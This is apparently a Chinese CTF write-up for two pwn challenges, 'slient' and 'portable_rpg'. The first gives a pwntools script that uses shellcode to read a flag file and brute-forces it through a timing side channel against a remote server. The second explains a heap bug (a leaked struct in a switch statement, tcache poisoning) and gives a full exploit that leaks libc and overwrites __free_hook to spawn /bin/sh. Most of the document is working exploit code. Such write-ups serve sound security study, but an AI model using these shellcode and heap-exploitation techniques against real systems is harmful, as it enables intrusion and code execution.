slient 第四届蓝帽杯线下原题,只是 flag 放的位置换了。写 shellcode 的题目:
只能下 read open 函数,构成不了 orw 。换个思路用可见字符去比较,也就是爆破。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import *file_path = "./chall" context.arch = "amd64" context.terminal = ['tmux' , 'splitw' , '-h' ] elf = ELF(file_path) debug = 0 def pwn (p, index, ch ): read_next = "xor rax, rax; xor rdi, rdi;mov rsi, 0x10100;mov rdx, 0x300;syscall;" shellcode = "push 0x10032aaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;" shellcode += "push 2; pop rax; syscall;" shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;" if index == 0 : shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret" .format (index, ch) else : shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret" .format (index, ch) shellcode = asm(shellcode) p.sendafter("execution-box.\n" , shellcode.ljust(0x40 - 14 , b'a' ) + b'/home/pwn/flag' ) index = 0 ans = [] while True : for ch in range (0x20 , 127 ): if debug: p = process([file_path]) else : p = remote("8.140.177.7" ,40334 ) pwn(p, index, ch) start = time.time() try : p.recv(timeout=2 ) except : pass end = time.time() p.close() if end - start > 1.5 : ans.append(ch) print("" .join([chr (i) for i in ans])) break else : print("" .join([chr (i) for i in ans])) break index = index + 1 print(ans) print("" .join([chr (i) for i in ans]))
补充:
https://www.lintstar.top/2020/12/784edd2e#0x04-slient
https://blog.csdn.net/sunjikui1255326447/article/details/100191203
portable_rpg
赛后复盘
漏洞在 add player 的 switch 语句,进入函数后首先会创建 0x20 用于存放 player_struct ,当输入 player job 不是 1-3 时,switch 就会直接退出,没有释放 player struct
free 的时候把指针都置零,但是 libc 是 2.26 和 2.27 一样有 tcache 。由于先 free player_name 再 free player_struct ,将 player_name 申请为 0x20 再结合 tcache 修改 fd 的特定可以实现 UAF 的效果
总体思路:利用 add 漏洞伪造 player_struct ,结合 tcache 修改 player_struct 中 name_ptr 泄露出 libc 地址;double free 修改 free_hook
申请两个name size 0x20 的正常 player ,释放到 tcache 。利用 switch 漏洞申请两次得到 fake_player_struct ,指针指向下一个正常的 player_struct 。后面填满 tcache 后,将 fake_player_struct 指向的 player 释放到 fastbin ,申请一个大堆块,经过整理后会放到 unsortedbin 。
double free 思路也差不多,要巧妙利用 tcache 修改 fd
无符号 libc 找 main_arean 偏移 ida 加载 libc 文件,查 malloc_trim
这个函数开头有个全局变量这个就是 main_arena ,图中的偏移为 0x13A7F4 。实际用的时候还得减去泄露出来的偏移,比如泄露 main_arena+88 偏移就是 0x13A7F4+88
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 from pwn import *import syscontext.binary = "./vuln" context.log_level = "debug" context.terminal = ['tmux' ,'sp' ,'-h' ] if sys.argv[1 ] == "r" : p = remote("remote_addr" , remote_port) elif sys.argv[1 ] == "l" : p = process(["qemu-arm" , "-L" , "/usr/arm-linux-gnueabihf" , "./vuln" ]) else : p = process(["qemu-arm" , "-g" , "1234" , "-L" , "/usr/arm-linux-gnueabihf" , "./vuln" ]) elf = ELF("./vuln" ) libc = ELF("/usr/arm-linux-gnueabi/lib/libc.so.6" ) def cmd (cmd ): p.recvuntil(">> " ) p.sendline(str (cmd)) def add (job,size,name ): cmd(1 ) p.recvuntil(">> " ) p.sendline(str (job)) p.recvuntil("?\n" ) p.sendline(str (size)) p.recvuntil("?\n" ) p.send(name) def add_2 (job ): cmd(1 ) p.recvuntil(">> " ) p.sendline(str (job)) def delete (id ): cmd(2 ) p.recvuntil("?\n" ) p.sendline(str (id )) def show (id ): cmd(3 ) p.recvuntil("?\n" ) p.sendline(str (id )) def play (id ): cmd(4 ) p.recv payload = 'a' *4 + p32(0x20 ) + p32(0xffffffff )*4 + p32(1 ) + p32(1 ) add(1 ,0x20 ,'a' *4 ) add(1 ,0x20 ,payload) delete(0 ) delete(1 ) add_2(4 ) add_2(4 ) add(1 ,0x20 ,'a' *4 ) for _ in range (4 ): add(1 ,0x20 ,'a' *4 ) for i in range (4 ): delete(3 +i) delete(2 ) add(1 ,0x400 ,'a' *4 ) show(1 ) leak_addr = u32(p.recvuntil('\x3f' )[-4 :]) log.info("main_arean:" +hex (leak_addr)) libc_base = leak_addr - 0xF47E4 - 0x7c log.info("libc_base:" +hex (libc_base)) system_addr = libc_base+libc.sym['system' ] log.info("system_addr:" +hex (system_addr)) binsh_str = libc_base + libc.search('/bin/sh' ).next () log.info("binsh_str:" +hex (binsh_str)) free_hook = libc_base + libc.sym['__free_hook' ] log.info("free_hook:" +hex (free_hook)) free_addr = libc_base + libc.sym['free' ] log.info("free_addr:" +hex (free_addr)) for i in range (5 ): add(1 ,0x20 ,"/bin/sh\x00" ) delete(7 ) add_2(4 ) add_2(4 ) delete(7 ) delete(8 ) add(1 ,0x20 ,p32(free_hook)) add_2(5 ) add(1 ,0x20 ,p32(system_addr)) delete(3 ) p.interactive()